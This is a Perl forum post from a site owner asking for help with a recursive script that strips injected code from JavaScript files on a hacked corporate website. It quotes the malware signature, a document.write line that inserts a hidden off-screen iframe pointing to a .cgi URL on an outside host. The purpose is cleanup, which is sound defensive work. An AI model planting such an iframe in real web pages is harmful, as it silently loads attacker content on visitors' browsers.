Here is the code I am working on. It works for sample data, but for the actual data, it is not working. I am working on the backup of the live files and presently using the following script. I am working on Active Perl 5.14 on Windows. Please help.

#!/usr/bin/perl use strict; # show no warnings about recursion (we know what we do ) no warnings "recursion"; # specify the file you search here (in this example "corporate" ) : my $file = '\.js$'; my @jsfiles = (); # specify the directory where you want to start the search (in this ex +ample ".", the current directory) : my $searchdir = "C:/scripts/corporate"; my $replace_string = "SAMPLE TEXT TO REPLACE"; # Calling the Subroutine, which searches the File readDirectory($searchdir, $file); print "\n", '*' x 60, "\n"; foreach my $js (@jsfiles) { open JAVASCRIPT, '<', "$js" or die "Cannot open file for read ($!) +"; open TEMP, '>', "temp.js" or die "Cannot open file for write ($!)" +; #Enable slurp mode local $/; my $data = <JAVASCRIPT>; $data =~ s/$replace_string//g; print TEMP $data; close JAVASCRIPT; close TEMP; unlink $js; rename "temp.js", $js; print "$js\n"; } print "\n", '*' x 60, "\n"; # We need an Subroutine, which can be called on every sub-directory sub readDirectory { my $searchdir = shift; my $searchfile = shift; # a little bit output, in which directory the script # is searching at the moment (the following line is not necessary +) print "Searching in $searchdir \n"; # Open and close the directory opendir DIR, $searchdir or die("An error occured: $!"); my @files = readdir(DIR); closedir DIR; foreach my $currentFile (@files) { # In Unix/Linux we have the directorys "." and "..", # it's no good idea to scan these, so let them skip. next if $currentFile =~ /^\./; # Lets have a look, if the current "file" is the searched fi +le, # else have a look, if the "file" is an directory, # and if its one, lets have a look, if the searched file is +into it. if ( $currentFile =~ /$searchfile/ ) { # We found the right file, now we can do somthing with +it, # in this case, we only print a text push @jsfiles, "$searchdir/$currentFile"; print "Found the file: $searchdir/$currentFile\n"; } if ( -d "$searchdir/$currentFile" ) { # The Subroutine i calling hisself with the new paramet +ers readDirectory("$searchdir/$currentFile", $searchfile); } } }

Here is a code signature of the hacked .js files

;document.write('<iframe width="50" height="50" style="width:100px;hei +ght:100px;position:absolute;left:-100px;top:0;" src="http : / / ipxlq +fn . freewww . info / 9a06efb5c 8163b982c1 1a64762e27 d . cgi ? 8"></ +iframe>');

I want to make the above code to get replaced instead of the sample pattern.


In reply to Re^3: Hacking of JavaScript files in our corporate website by shajiindia
in thread Hacking of JavaScript files in our corporate website by shajiindia

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post, it's "PerlMonks-approved HTML":



  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.